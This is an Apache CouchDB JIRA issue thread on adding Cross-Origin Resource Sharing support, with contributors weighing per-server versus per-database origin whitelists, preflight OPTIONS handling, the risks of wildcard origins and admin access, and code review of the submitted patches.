CouchDB
  1. CouchDB
  2. COUCHDB-431

cors - aka Cross-Origin Resource Sharing support

    Details

    • Type: New Feature New Feature
    • Status: Closed
    • Priority: Blocker Blocker
    • Resolution: Fixed
    • Affects Version/s: 0.9
    • Fix Version/s: 1.3
    • Component/s: HTTP Interface
    • Labels:
      None
    • Skill Level:
      Regular Contributors Level (Easy to Medium)

      Description

      Historically, browsers have been restricted to making XMLHttpRequests (XHRs) to the same origin (domain) as the web page making the request. However, the latest browsers now support cross-domain requests by implementing the Access Control spec from the W3C:
      http://dev.w3.org/2006/waf/access-control/

      In order to keep older servers safe that assume browsers only do same-domain requests, the Access Control spec requires the server to opt-in to allow cross domain requests by the use of special HTTP headers and supporting some "pre-flight" HTTP calls.

      Why should CouchDB support this: in larger, high traffic site, it is common to serve the static UI files from a separate, differently scaled server complex than the data access/API server layer. Also, there are some API services that are meant to be centrally hosted, but allow API consumers to use the API from different domains. In these cases, the UI in the browser would need to do cross domain requests to access CouchDB servers that act as the API/data access server layer.

      JSONP is not enough in these cases since it is limited to GET requests, so no POSTing or PUTing of documents.

      Some information from Firefox's perspective (functionality available as of Firefox 3.5):
      https://developer.mozilla.org/en/HTTP_access_control

      And information on Safari/Webkit (functionality in latest WebKit and Safari 4):
      http://developer.apple.com/safari/library/documentation/AppleApplications/Conceptual/SafariJSProgTopics/Articles/XHR.html

      IE 8 also uses the Access Control spec, but the requests have to go through their XDomainRequest object (XDR):
      http://msdn.microsoft.com/en-us/library/cc288060%28VS.85%29.aspx

      and I thought IE8 only allowed GET or POST requests through their XDR.

      But as far as CouchDB is concerned, implementing the Access Control headers should be enough, and hopefully IE 9 will allow normal xdomain requests via XHR.

      1. A_0001-Generalize-computing-the-appropriate-headers-for-any.patch
        2 kB
        Jason Smith
      2. A_0002-Send-server-headers-for-externals-responses.patch
        3 kB
        Jason Smith
      3. A_0003-Usably-correct-w3c-CORS-headers-for-valid-requests.patch
        6 kB
        Jason Smith
      4. A_0004-Respond-to-CORS-preflight-checks-HTTP-OPTIONS.patch
        2 kB
        Jason Smith
      5. cors.html
        2 kB
        Jason Smith
      6. 0001-cors-support.-should-fix-COUCHDB-431.patch
        19 kB
        Benoit Chesneau
      7. test_cors2.tgz
        69 kB
        Benoit Chesneau
      8. 0001-cors-support.-should-fix-COUCHDB-431.patch
        19 kB
        Benoit Chesneau
      9. 0001-cors-support.-should-fix-COUCHDB-431-2.patch
        21 kB
        Benoit Chesneau
      10. test_cors2-1.tgz
        69 kB
        Benoit Chesneau
      11. 0001-cors-support.-should-fix-COUCHDB-431.patch
        21 kB
        Benoit Chesneau
      12. 0001-cors-support.-should-fix-COUCHDB-431.patch
        24 kB
        Benoit Chesneau
      13. cors_test.html
        3 kB
        Jason Smith
      14. check_method_cors.patch
        1 kB
        Benoit Chesneau

        Issue Links

          Activity

          Hide
          Adam Kocoloski added a comment -

          cool stuff! This is the first I've heard of it.

          Show
          Adam Kocoloski added a comment - cool stuff! This is the first I've heard of it.
          Hide
          Marc Diethelm added a comment -

          For cross domain requests other than GET or POST Firefox will first attempt an OPTIONS request (a "preflighted" request). If this doesn't succeed the operation is aborted.

          My project's use case is as follows:

          The website's HTML, CSS, JS is served from Apache, all the data (eg: userdata, images and their metadata) is stored in CouchDB.

          I need to create an attachment on a not yet existing document. Therefore I'm PUTting the attachment to CouchDB as described in http://wiki.apache.org/couchdb/HTTP_Document_API#Standalone_Attachments.

          Firefox sends this request:

          OPTIONS /dbname/document/attachment HTTP/1.1
          Host: hostname:5984
          [...]
          Origin: http://hostname
          Access-Control-Request-Method: PUT

          CouchDB of course doesn't know about OPTIONS and responds with:

          HTTP/1.1 405 Method Not Allowed
          Server: CouchDB/1.0.1 (Erlang OTP/R13B)
          [...]
          Allow: DELETE,GET,HEAD,PUT

          Show
          Marc Diethelm added a comment - For cross domain requests other than GET or POST Firefox will first attempt an OPTIONS request (a "preflighted" request). If this doesn't succeed the operation is aborted. My project's use case is as follows: The website's HTML, CSS, JS is served from Apache, all the data (eg: userdata, images and their metadata) is stored in CouchDB. I need to create an attachment on a not yet existing document. Therefore I'm PUTting the attachment to CouchDB as described in http://wiki.apache.org/couchdb/HTTP_Document_API#Standalone_Attachments . Firefox sends this request: OPTIONS /dbname/document/attachment HTTP/1.1 Host: hostname:5984 [...] Origin: http://hostname Access-Control-Request-Method: PUT CouchDB of course doesn't know about OPTIONS and responds with: HTTP/1.1 405 Method Not Allowed Server: CouchDB/1.0.1 (Erlang OTP/R13B) [...] Allow: DELETE,GET,HEAD,PUT
          Hide
          Benjamin Eidelman added a comment -

          if it helps, an ajax cross-domain request with jQuery:

          var uspwd64 = base64.encode('username:password');

          jQuery.ajax({
          url: url,
          beforeSend: function(req)

          { req.setRequestHeader("Origin", document.location.protocol + "//" + document.location.host); req.setRequestHeader("Authorization", "Basic " + usrpwd64); }

          ,
          type: 'POST',
          data: mydata,
          ....

          Show
          Benjamin Eidelman added a comment - if it helps, an ajax cross-domain request with jQuery: var uspwd64 = base64.encode('username:password'); jQuery.ajax({ url: url, beforeSend: function(req) { req.setRequestHeader("Origin", document.location.protocol + "//" + document.location.host); req.setRequestHeader("Authorization", "Basic " + usrpwd64); } , type: 'POST', data: mydata, ....
          Hide
          Jason Smith added a comment -

          I made a patchset to enable Cross-Origin Resource Sharing from CouchDB. I will attach them to JIRA.

          The point of CORS is, instead of the classic same-origin security policy, browsers will ask the "foreign" server's permission first. The foreign server can indicate whether the browser's origin is trusted and what if any HTTP stuff is allowed. With permission granted, XHR requests to the foreign resource work just like normal.

          My implementation uses the couch config. To enable CORS, set /_config/httpd/cors = "true". Then the "cors" section is just like the "vhosts" section. To have couch.com:5984 trust code from cool.app.com and also lame.app.com, you would set /_config/cors/couch.com:5984 = "http://cool.app.com http://lame.app.com" (mnemonic: same format as the w3c Origin header).

          The upshot is you can $.couch all day long, from any web page to any number of couches. But the couches have to whitelist you first. Also, a validate_doc_update() function can check req.headers.Origin to act on local vs. cross-origin queries.

          Show
          Jason Smith added a comment - I made a patchset to enable Cross-Origin Resource Sharing from CouchDB. I will attach them to JIRA. The point of CORS is, instead of the classic same-origin security policy, browsers will ask the "foreign" server's permission first. The foreign server can indicate whether the browser's origin is trusted and what if any HTTP stuff is allowed. With permission granted, XHR requests to the foreign resource work just like normal. My implementation uses the couch config. To enable CORS, set /_config/httpd/cors = "true". Then the "cors" section is just like the "vhosts" section. To have couch.com:5984 trust code from cool.app.com and also lame.app.com, you would set /_config/cors/couch.com:5984 = "http://cool.app.com http://lame.app.com " (mnemonic: same format as the w3c Origin header). The upshot is you can $.couch all day long, from any web page to any number of couches. But the couches have to whitelist you first. Also, a validate_doc_update() function can check req.headers.Origin to act on local vs. cross-origin queries.
          Hide
          Jason Smith added a comment -

          Initial idea. This has very heavy couch_config:get/2 calls. Couch now prevents _show and other functions from handling HTTP OPTIONS, because this implementation simply checks for OPTIONS early on and return

          {ok:true}

          . CORS uses OPTIONS to request permission but only the response headers matter.

          Show
          Jason Smith added a comment - Initial idea. This has very heavy couch_config:get/2 calls. Couch now prevents _show and other functions from handling HTTP OPTIONS, because this implementation simply checks for OPTIONS early on and return {ok:true} . CORS uses OPTIONS to request permission but only the response headers matter.
          Hide
          Jason Smith added a comment -

          A file I was using for testing.

          Show
          Jason Smith added a comment - A file I was using for testing.
          Hide
          Randall Leeds added a comment -

          Jason: Do you know what resource/path the requesting browser/client uses when asking permission? In other words, how does this interact with vhosts? Would it be better to place this information at the db-level? I know we talked about that last week about possibly putting it on the security object.

          Show
          Randall Leeds added a comment - Jason: Do you know what resource/path the requesting browser/client uses when asking permission? In other words, how does this interact with vhosts? Would it be better to place this information at the db-level? I know we talked about that last week about possibly putting it on the security object.
          Hide
          Jason Smith added a comment -

          Thanks for getting the discussion started! This is why I don't think the patch is ready. Still, the security object idea was mine but I later abandoned it.

          CORS Overview
          ============

          There is a "simple" query and a non-simple query. Simple queries use a simple method, and only simple headers.

          Simple methods are GET, HEAD, POST.
          Simple headers are Accept, Accept-Language, Content-Language, Last-Event-ID, and Content-Type (which must be application/x-www-form-urlencoded, multipart/form-data, or text/plain).

          For a simple cross-origin XHR query, the browser just runs it immediately, with an "Origin" header. If the response header Access-Control-Allow-Origin matches the request header "Origin", then the browser passes the response back into Javascript.

          For a non-simple cross-origin XHR query, the browser queries the URL with an OPTIONS method. It sets an "Origin" header, plus Access-Control-Request-Method and Access-Control-Request-Methods. If the server responds affirmatively, the browser runs the real query and then passes the response back into Javascript. (The server can also indicate whether the resource allows logged-in users (basic auth, cookie headers, etc.), or whether all queries must be anonymized by the browser.)

          So the CORS policy is per resource (URL), but resources can only whitelist entire domains. (Well, actually "origins" which is http or https, the DNS domain, and the port.)

          Couch Discussion
          =============

          About vhosting and rewriting, Couch just needs to return the right policy for the final resource it processes.

          My first attempt was to do direct domain-to-domain whitelisting.

          Firstly, you need universal CORS to respond to misc. queries: / (to ping couch), /_all_dbs, /_session, /_log, /_config, and also PUT /db.

          A good use case is a Futon fork. You whitelist https://better-futon.com and then when you go to that site, it can control every aspect of your couch just like old busted Futon.

          The same technique would enable http://my-awesome-couchapp.com, something like:

          1. You go to http://my-awesome-couchapp.com
          2. You put your couch URL in a form field
          3. The page pings your couch to check for CORS.
          4. If no CORS, it pops up an iframe or target=_blank link to your couch Futon configurator. You add the app to the whitelist.
          5. The app keeps pinging your couch until it gets a pong (it was added to the whitelist)
          6. With CORS, and with your admin session, the app can install itself on your couch (replicate, set up vhosts and rewrites, etc.).

          So you just installed a couchapp by following a link on Twitter, and all you had to do was input one URL into your whitelist. (better-futon.com of course has a superior UI for this).

          That use case (and simplicity) is why I started with domain-to-domain permission. To open up just one db, you can vhost db.mycouch:5984 -> mycouch:5984/db/ and make sure httpd.secure_rewrites is true.

          Show
          Jason Smith added a comment - Thanks for getting the discussion started! This is why I don't think the patch is ready. Still, the security object idea was mine but I later abandoned it. CORS Overview ============ There is a "simple" query and a non-simple query. Simple queries use a simple method, and only simple headers. Simple methods are GET, HEAD, POST. Simple headers are Accept, Accept-Language, Content-Language, Last-Event-ID, and Content-Type (which must be application/x-www-form-urlencoded, multipart/form-data, or text/plain). For a simple cross-origin XHR query, the browser just runs it immediately, with an "Origin" header. If the response header Access-Control-Allow-Origin matches the request header "Origin", then the browser passes the response back into Javascript. For a non-simple cross-origin XHR query, the browser queries the URL with an OPTIONS method. It sets an "Origin" header, plus Access-Control-Request-Method and Access-Control-Request-Methods. If the server responds affirmatively, the browser runs the real query and then passes the response back into Javascript. (The server can also indicate whether the resource allows logged-in users (basic auth, cookie headers, etc.), or whether all queries must be anonymized by the browser.) So the CORS policy is per resource (URL), but resources can only whitelist entire domains. (Well, actually "origins" which is http or https, the DNS domain, and the port.) Couch Discussion ============= About vhosting and rewriting, Couch just needs to return the right policy for the final resource it processes. My first attempt was to do direct domain-to-domain whitelisting. Firstly, you need universal CORS to respond to misc. queries: / (to ping couch), /_all_dbs, /_session, /_log, /_config, and also PUT /db. A good use case is a Futon fork. You whitelist https://better-futon.com and then when you go to that site, it can control every aspect of your couch just like old busted Futon. The same technique would enable http://my-awesome-couchapp.com , something like: 1. You go to http://my-awesome-couchapp.com 2. You put your couch URL in a form field 3. The page pings your couch to check for CORS. 4. If no CORS, it pops up an iframe or target=_blank link to your couch Futon configurator. You add the app to the whitelist. 5. The app keeps pinging your couch until it gets a pong (it was added to the whitelist) 6. With CORS, and with your admin session, the app can install itself on your couch (replicate, set up vhosts and rewrites, etc.). So you just installed a couchapp by following a link on Twitter, and all you had to do was input one URL into your whitelist. (better-futon.com of course has a superior UI for this). That use case (and simplicity) is why I started with domain-to-domain permission. To open up just one db, you can vhost db.mycouch:5984 -> mycouch:5984/db/ and make sure httpd.secure_rewrites is true.
          Hide
          Jason Smith added a comment -

          Whoops, Access-Control-Request-Method and Access-Control-Request-Headers.

          Anyway, the _security object would have some benefits. I already had to add another patch to disable _admin stuff with CORS because it's just too scary. If better-futon.com ever got hacked, or if somebody got untrusted javascript code hosted there, that code would have ADMIN access to your couch.

          So my new patch has _config/httpd/cors_admin = true/false (default false) so that no CORS request can ever run with server _admin permissions.

          With a _security object, there's some flexibility.

          1. Indicate whether to allow CORS for the db _admin too (default would be false).
          2. See the CORS policy from validate_doc_update() because it will be in secObj.

          So you might have a _security:

          { "admins":

          { "roles": [ "my_app_admins" ] }

          ,
          "readers": {},
          "cors": { "http://a-cool-couchapp.com": true // Implied anonymous access only
          "https://another-couchapp.com":

          { "timeout": 86400 }

          , // Also anonymous-only
          "https://another-couchapp.com":

          { "timeout": 86400, "allow_credentials": true }

          , // Authenticated access
          "https://another-couchapp.com":

          { "timeout": 86400, "allow_credentials": true, "allow_admin":true }

          , // Authenticated access, including db admin
          }
          }
          However I am stopping here to get some discussion going before writing more code. I am super excited about Couch CORS however

          Show
          Jason Smith added a comment - Whoops, Access-Control-Request-Method and Access-Control-Request-Headers. Anyway, the _security object would have some benefits. I already had to add another patch to disable _admin stuff with CORS because it's just too scary. If better-futon.com ever got hacked, or if somebody got untrusted javascript code hosted there, that code would have ADMIN access to your couch. So my new patch has _config/httpd/cors_admin = true/false (default false) so that no CORS request can ever run with server _admin permissions. With a _security object, there's some flexibility. 1. Indicate whether to allow CORS for the db _admin too (default would be false). 2. See the CORS policy from validate_doc_update() because it will be in secObj. So you might have a _security: { "admins": { "roles": [ "my_app_admins" ] } , "readers": {}, "cors": { "http://a-cool-couchapp.com": true // Implied anonymous access only "https://another-couchapp.com": { "timeout": 86400 } , // Also anonymous-only "https://another-couchapp.com": { "timeout": 86400, "allow_credentials": true } , // Authenticated access "https://another-couchapp.com": { "timeout": 86400, "allow_credentials": true, "allow_admin":true } , // Authenticated access, including db admin } } However I am stopping here to get some discussion going before writing more code. I am super excited about Couch CORS however
          Hide
          Alex Chaffee added a comment -

          I just encountered this issue myself, and I haven't thought through all the implications, but isn't there an easier way to crack this nut? If we add a "response_headers" config setting to the normal database httpd config, and the server adds those headers to every HTTP response, then that's it. Admins can then implement a coarse form of CORS on a per-database level with a simple "{response_headers: {'Access-Control-Allow-Origin': '*'}}".

          If more fine-grained control is needed (e.g. allow CORS for some client IP#s but not others) then a patch like Jason's would be needed. But ACL systems are notoriously difficult to design and implement. My solution leaves access control up to the local admin, and also makes it clear just how simple CORS actually is – it's not hard security, just a message from the server that tells the client "here's the data, and here's a hint about how I think you should use it" (which hint is ignored by everybody except web browsers).

          (cf. Mozilla: "The Cross-Origin Resource Sharing standard works by adding new HTTP headers that allow servers to describe the set of origins that are permitted to read that information using a web browser. Firefox supports these headers and enforces the restrictions they establish." https://developer.mozilla.org/en/http_access_control )

          Thoughts?

          Show
          Alex Chaffee added a comment - I just encountered this issue myself, and I haven't thought through all the implications, but isn't there an easier way to crack this nut? If we add a "response_headers" config setting to the normal database httpd config, and the server adds those headers to every HTTP response, then that's it. Admins can then implement a coarse form of CORS on a per-database level with a simple "{response_headers: {'Access-Control-Allow-Origin': '*'}}". If more fine-grained control is needed (e.g. allow CORS for some client IP#s but not others) then a patch like Jason's would be needed. But ACL systems are notoriously difficult to design and implement. My solution leaves access control up to the local admin, and also makes it clear just how simple CORS actually is – it's not hard security, just a message from the server that tells the client "here's the data, and here's a hint about how I think you should use it" (which hint is ignored by everybody except web browsers). (cf. Mozilla: "The Cross-Origin Resource Sharing standard works by adding new HTTP headers that allow servers to describe the set of origins that are permitted to read that information using a web browser. Firefox supports these headers and enforces the restrictions they establish." https://developer.mozilla.org/en/http_access_control ) Thoughts?
          Hide
          Jason Smith added a comment -

          Alex, thanks for your thoughts. Some feedback:

          I disagree that CORS is not hard security. It is hard security because same-origin is the primary protector of all data on the web. Without same-origin restrictions, any site you visit could reach your data on any other site you visit. It is also hard security in that it is both difficult and important to get right.

          I am hoping for a fail-safe system.

          It seems reasonable that the database admin should control the CORS permissions of that database. For a /_config change, that requires the server admin.

          The _config imposes practical problems too. It is not a general system registry: all the data must go section-key-value. There is no way to have a per-database config except to use an entire new section as a namespace, with each DB name inside it. IMO I don't like that at all.

          The only place I know of for per-database config is the _security object. Since CORS is about security, it's logical to place it there (where the db admin can modify it).

          Finally, the original idea that I heard about CORS was to allow people to specify any header. I don't think that is fail-safe. I have no idea what headers people use out there. It seems impossible to evaluate the security of permitting any header for any response.

          Finally, CORS headers are generally generated dynamically. The only exception is the wildcard header which for CouchDB would be a very dangerous setting. That means any code from any site on any browser can access your couch without the user knowing but (potentially) with the user's couch credentials. Therefore, I am hoping for a whitelist to specify, "yes, www.mywebapp.com is my own website and I trust all its code to access this couch".

          Show
          Jason Smith added a comment - Alex, thanks for your thoughts. Some feedback: I disagree that CORS is not hard security. It is hard security because same-origin is the primary protector of all data on the web. Without same-origin restrictions, any site you visit could reach your data on any other site you visit. It is also hard security in that it is both difficult and important to get right. I am hoping for a fail-safe system. It seems reasonable that the database admin should control the CORS permissions of that database. For a /_config change, that requires the server admin. The _config imposes practical problems too. It is not a general system registry: all the data must go section-key-value. There is no way to have a per-database config except to use an entire new section as a namespace, with each DB name inside it. IMO I don't like that at all. The only place I know of for per-database config is the _security object. Since CORS is about security, it's logical to place it there (where the db admin can modify it). Finally, the original idea that I heard about CORS was to allow people to specify any header. I don't think that is fail-safe. I have no idea what headers people use out there. It seems impossible to evaluate the security of permitting any header for any response. Finally, CORS headers are generally generated dynamically. The only exception is the wildcard header which for CouchDB would be a very dangerous setting. That means any code from any site on any browser can access your couch without the user knowing but (potentially) with the user's couch credentials. Therefore, I am hoping for a whitelist to specify, "yes, www.mywebapp.com is my own website and I trust all its code to access this couch".
          Hide
          Jason Smith added a comment -

          I am open to the idea of a global (or per-vhost) CORS setting, on the basis that it is simple: easy for users, and easy to reason about.

          The only problem with this is so much security is already database-oriented. Access and admin permission is per-db. And httpd/secure_rewrites provides isolation inside the DB. Is it going against the grain to do some HTTP security in the server config?

          With a global config, you could not have /db_A to service webappA.com only, and /db_B to service webappB.com only. To have two unrelated sites use two unrelated databases, you must run two couches. But still, the simplicity is interesting.

          Show
          Jason Smith added a comment - I am open to the idea of a global (or per-vhost) CORS setting, on the basis that it is simple: easy for users, and easy to reason about. The only problem with this is so much security is already database-oriented. Access and admin permission is per-db. And httpd/secure_rewrites provides isolation inside the DB. Is it going against the grain to do some HTTP security in the server config? With a global config, you could not have /db_A to service webappA.com only , and /db_B to service webappB.com only . To have two unrelated sites use two unrelated databases, you must run two couches. But still, the simplicity is interesting.
          Hide
          Alex Chaffee added a comment -

          Sorry for using unclear language – you're absolutely right, I'm talking about adding headers per service (i.e. host-and-port), not per database in Couchese.

          You're also quite right about the danger of '*' – I used it as shorthand but it would be more sensible to use the real domain name of your host – which would actually take care of the attack vector you mentioned.

          I'm confused about your "dynamically generated header" paragraph. The CORS header must match the domain name(s) of the valid web site(s), which seems pretty static to me. Or are you just saying again that you'd like the header to vary per database? Note that a single Access-Control-Allow-Origin header can contain multiple hostnames (if I read the spec at http://www.w3.org/TR/cors correctly) so you could serve two sites from the same service with "Access-Control-Allow-Origin: site1.com site2.com". (Assuming the browsers implement the spec correctly, of course! )

          Here's my use case: I want to write an app that goes directly from JavaScript in a web browser to a CouchDB service running on localhost (and eventually, on an optional public server). It seems like a perfect fit and it's frustrating that it doesn't work, especially since it's just for lack of a single HTTP header. I'm currently building a simple Ruby HTTP server to sit between the browser and Couch, but there's really no reason for that third tier.

          Got any ideas on how to smuggle in a response header without your ACL patch?

          Show
          Alex Chaffee added a comment - Sorry for using unclear language – you're absolutely right, I'm talking about adding headers per service (i.e. host-and-port), not per database in Couchese. You're also quite right about the danger of '*' – I used it as shorthand but it would be more sensible to use the real domain name of your host – which would actually take care of the attack vector you mentioned. I'm confused about your "dynamically generated header" paragraph. The CORS header must match the domain name(s) of the valid web site(s), which seems pretty static to me. Or are you just saying again that you'd like the header to vary per database? Note that a single Access-Control-Allow-Origin header can contain multiple hostnames (if I read the spec at http://www.w3.org/TR/cors correctly) so you could serve two sites from the same service with "Access-Control-Allow-Origin: site1.com site2.com". (Assuming the browsers implement the spec correctly, of course! ) Here's my use case: I want to write an app that goes directly from JavaScript in a web browser to a CouchDB service running on localhost (and eventually, on an optional public server). It seems like a perfect fit and it's frustrating that it doesn't work, especially since it's just for lack of a single HTTP header. I'm currently building a simple Ruby HTTP server to sit between the browser and Couch, but there's really no reason for that third tier. Got any ideas on how to smuggle in a response header without your ACL patch?
          Hide
          Jacques Desmarais added a comment -

          I would really like to see CORS support in Couch. I see a big need for using cloud hosted web apps but keeping one's data on one's intranet. Jason, thanks for the patches. Any tips on applying them? Does one apply just one or all of them at once? Against what version of couch can they be applied? For testing purposes of course...

          Show
          Jacques Desmarais added a comment - I would really like to see CORS support in Couch. I see a big need for using cloud hosted web apps but keeping one's data on one's intranet. Jason, thanks for the patches. Any tips on applying them? Does one apply just one or all of them at once? Against what version of couch can they be applied? For testing purposes of course...
          Hide
          Jason Smith added a comment -

          I agree, Jacques. CORS will be the microwave oven, or the television. Once it is out and available, people will wonder how they lived without it.

          The patches apply against 1.1.0 (and applied against trunk when I made them). Apply them all in numeric order. I am planning to make a new patch set called B_0001, B_0002, etc. but for now there is just the As.

          Show
          Jason Smith added a comment - I agree, Jacques. CORS will be the microwave oven, or the television. Once it is out and available, people will wonder how they lived without it. The patches apply against 1.1.0 (and applied against trunk when I made them). Apply them all in numeric order. I am planning to make a new patch set called B_0001, B_0002, etc. but for now there is just the As.
          Hide
          Benjamin Eidelman added a comment - - edited

          I'm writing a small js lib that loads from REST services, I wanted to run it against my couchdb hosted on a VM, or even if it's local the test (QUnit) page can run locally (file://), just to be able to run the tests I made a a (lame) workaround, created a small js and html page that I upload to CouchDB, then from my test page (in a different domain) I load this CouchDB-hosted page in a hidden iframe, and proxy all ajax calls thru that iframe (using window.postMessage), the page access can be restricted by domain, uri or a password.
          Just for running some unit tests, it anyone is interested:
          https://github.com/benjamine/FrameProxy

          But I'll love to see CORS implemented in CouchDB and throw that script+page away!

          Show
          Benjamin Eidelman added a comment - - edited I'm writing a small js lib that loads from REST services, I wanted to run it against my couchdb hosted on a VM, or even if it's local the test (QUnit) page can run locally ( file:// ), just to be able to run the tests I made a a (lame) workaround, created a small js and html page that I upload to CouchDB, then from my test page (in a different domain) I load this CouchDB-hosted page in a hidden iframe, and proxy all ajax calls thru that iframe (using window.postMessage), the page access can be restricted by domain, uri or a password. Just for running some unit tests, it anyone is interested: https://github.com/benjamine/FrameProxy But I'll love to see CORS implemented in CouchDB and throw that script+page away!
          Hide
          Benoit Chesneau added a comment -

          This patch add support for CORS based on http://www.w3.org/TR/cors/ spec + tests.

          This ia a different implentation from the one proposed by Jason . It uses the process registry to pass custom headers so we can manage authentication easily.
          Supported :

          • simple & preflight requests.
          • possibility to forbid access per db by settings origins in secob. (see the erlang tests) :
          { ... "origins": ["http://someorigin"] }
          • CORS headers are only available if origin header is present in the request (like the spec say).

          test_cors2.tgz is also attached to test it. To use it untar the file, push the couchapp using couchapp or erica to a database named couch then open cors.html file under another server or from the file system.

          Show
          Benoit Chesneau added a comment - This patch add support for CORS based on http://www.w3.org/TR/cors/ spec + tests. This ia a different implentation from the one proposed by Jason . It uses the process registry to pass custom headers so we can manage authentication easily. Supported : simple & preflight requests. possibility to forbid access per db by settings origins in secob. (see the erlang tests) : { ... "origins": ["http://someorigin"] } CORS headers are only available if origin header is present in the request (like the spec say). test_cors2.tgz is also attached to test it. To use it untar the file, push the couchapp using couchapp or erica to a database named couch then open cors.html file under another server or from the file system.
          Hide
          Robert Newson added a comment -

          The new patch combines indentation changes with code changes, can that be separated?

          Show
          Robert Newson added a comment - The new patch combines indentation changes with code changes, can that be separated?
          Hide
          Robert Newson added a comment -

          also '?LOG_INFO("la", [])' probably shouldn't be in here, right?

          Show
          Robert Newson added a comment - also '?LOG_INFO("la", [])' probably shouldn't be in here, right?
          Hide
          Benoit Chesneau added a comment -

          mmm by indentation change do you mean the new lines added with new options ? I can probably put them back on one line if it's better. Or did I miss other things (which is totally possible I'm a little blind tonight)?

          New patch remove this spurious log is coming.

          Show
          Benoit Chesneau added a comment - mmm by indentation change do you mean the new lines added with new options ? I can probably put them back on one line if it's better. Or did I miss other things (which is totally possible I'm a little blind tonight)? New patch remove this spurious log is coming.
          Hide
          Benoit Chesneau added a comment -

          new version of the patch. removing spurious log & checkout back run.tpl .

          Show
          Benoit Chesneau added a comment - new version of the patch. removing spurious log & checkout back run.tpl .
          Hide
          Robert Newson added a comment -

          Don't get me wrong, the lines in this module are far too long anyway, but reindenting makes it harder to see the substantive change you're making. The first one where you added "OPTIONS" was the one I was referring to, but I had failed to notice that the before/after were different.

          Given the alternative is to make these overlong lines even longer, I guess there's no need to change it, but I'd refactor this into two commits, one which simply wraps these long lines better and a second that then adds the extra bits. Not a deal breaker for me if you don't do it.

          Show
          Robert Newson added a comment - Don't get me wrong, the lines in this module are far too long anyway, but reindenting makes it harder to see the substantive change you're making. The first one where you added "OPTIONS" was the one I was referring to, but I had failed to notice that the before/after were different. Given the alternative is to make these overlong lines even longer, I guess there's no need to change it, but I'd refactor this into two commits, one which simply wraps these long lines better and a second that then adds the extra bits. Not a deal breaker for me if you don't do it.
          Hide
          Benoit Chesneau added a comment - - edited

          updated version of the patch to support couchdb authentication.

          https://issues.apache.org/jira/secure/attachment/12491613/0001-cors-support.-should-fix-COUCHDB-431-2.patch

          Tests have been updated as well. Also attached is a new version of the javascript demo test_cors2-1.tgz . To test authentication, set a couchdb admin admin/test and open cors2.html in your browser.

          Show
          Benoit Chesneau added a comment - - edited updated version of the patch to support couchdb authentication. https://issues.apache.org/jira/secure/attachment/12491613/0001-cors-support.-should-fix-COUCHDB-431-2.patch Tests have been updated as well. Also attached is a new version of the javascript demo test_cors2-1.tgz . To test authentication, set a couchdb admin admin/test and open cors2.html in your browser.
          Hide
          Randall Leeds added a comment - - edited

          Comments:
          1) In check_origin/2, when * is in the AcceptOrigins would it be better to return * so that we send * in the "Access-Control-Allow-Origin" header?

          2) could you pre-split Origin in check_origin/2 before passing it to check_origin1/2 so that we don't call mochiweb_util:urlsplit/1 repeatedly?

          3) Makes sense to me to join check_origin/2 and check_origin1/2 into a single function. Use function guards to convert the accepted origins as you need them and to find the "*" case, avoids looping through the accepted origins twice (once for couch_util:to_list and once for lists:member).

          4) Typo in set_prefilight_headers/4, clause 2, capitalization in Access-Control-ALlow-Headers

          The rest are mostly aesthetics:

          5) set_prefilight_headers -> set_preflight_headers typo (extra i)

          6) You catch the case where erlang:get/1 in cors_headers/0 returns undefined, but that's impossible because you call set_default_cors_headers/0. It makes more sense to me to take out set_default_cors_headers/0 and just set the defaults in the undefined erlang:get/1 case. That means cors_headers/0 becomes cors_headers/1 and takes a mochiweb request record.

          7) Move cors_headers/0 up near default_origin_headers/1

          8) I would get rid of set_preflight_headers/4 entirely. In preflight_cors_headers create PreflightHeaders0 after you get Origin1. Add

          {"Access-Control-ALlow-Headers", FinalReqHeaders}

          to PreflightHeaders0 in the last clause of the case and let PreflightHeaders be the result of the case. just call erlang:set/2 from there.

          9) whitespace change at couch_httpd_db (-212, +247)

          Obviously some of that is style, but some is substance. Take what you want. Nice work! Thanks for doing this.

          Show
          Randall Leeds added a comment - - edited Comments: 1) In check_origin/2, when * is in the AcceptOrigins would it be better to return * so that we send * in the "Access-Control-Allow-Origin" header? 2) could you pre-split Origin in check_origin/2 before passing it to check_origin1/2 so that we don't call mochiweb_util:urlsplit/1 repeatedly? 3) Makes sense to me to join check_origin/2 and check_origin1/2 into a single function. Use function guards to convert the accepted origins as you need them and to find the "*" case, avoids looping through the accepted origins twice (once for couch_util:to_list and once for lists:member). 4) Typo in set_prefilight_headers/4, clause 2, capitalization in Access-Control-ALlow-Headers The rest are mostly aesthetics: 5) set_prefilight_headers -> set_preflight_headers typo (extra i) 6) You catch the case where erlang:get/1 in cors_headers/0 returns undefined, but that's impossible because you call set_default_cors_headers/0. It makes more sense to me to take out set_default_cors_headers/0 and just set the defaults in the undefined erlang:get/1 case. That means cors_headers/0 becomes cors_headers/1 and takes a mochiweb request record. 7) Move cors_headers/0 up near default_origin_headers/1 8) I would get rid of set_preflight_headers/4 entirely. In preflight_cors_headers create PreflightHeaders0 after you get Origin1. Add {"Access-Control-ALlow-Headers", FinalReqHeaders} to PreflightHeaders0 in the last clause of the case and let PreflightHeaders be the result of the case. just call erlang:set/2 from there. 9) whitespace change at couch_httpd_db (-212, +247) Obviously some of that is style, but some is substance. Take what you want. Nice work! Thanks for doing this.
          Hide
          Benoit Chesneau added a comment -

          Thanks a lot for the review. I will update the patch later this morning
          (12:07am here) . Comments follow.

          1) In check_origin/2, when * is in the AcceptOrigins would it be better to return * so that we send * in the "Access-Control-Allow-Origin" header?

          Since we return Access-Allow-Credentials header the spec says we should
          retutn the origin. WIthout it anyway authentication won't work.

          2) could you pre-split Origin in check_origin/2 before passing it to check_origin1/2 so that we don't call mochiweb_util:urlsplit/1 repeatedly?

          ok

          3) Makes sense to me to join check_origin/2 and check_origin1/2 into a single function. Use function guards to convert the accepted origins as you need them and to find the "*" case, avoids looping through the accepted origins twice (once for couch_util:to_list and once for lists:member).

          The problem is that someone could have put "*" anywhere in teh list. We
          want to test it first.

          4) Typo in set_prefilight_headers/4, clause 2, capitalization in Access-Control-ALlow-Headers

          thanks will fix it

          The rest are mostly aesthetics:

          5) set_prefilight_headers -> set_preflight_headers typo (extra i)

          will change that

          6) You catch the case where erlang:get/1 in cors_headers/0 returns undefined, but that's impossible because you call set_default_cors_headers/0. It makes more sense to me to take out set_default_cors_headers/0 and just set the defaults in the undefined erlang:get/1 case. That means cors_headers/0 becomes cors_headers/1 and takes a mochiweb request record.

          7) Move cors_headers/0 up near default_origin_headers/1

          ok

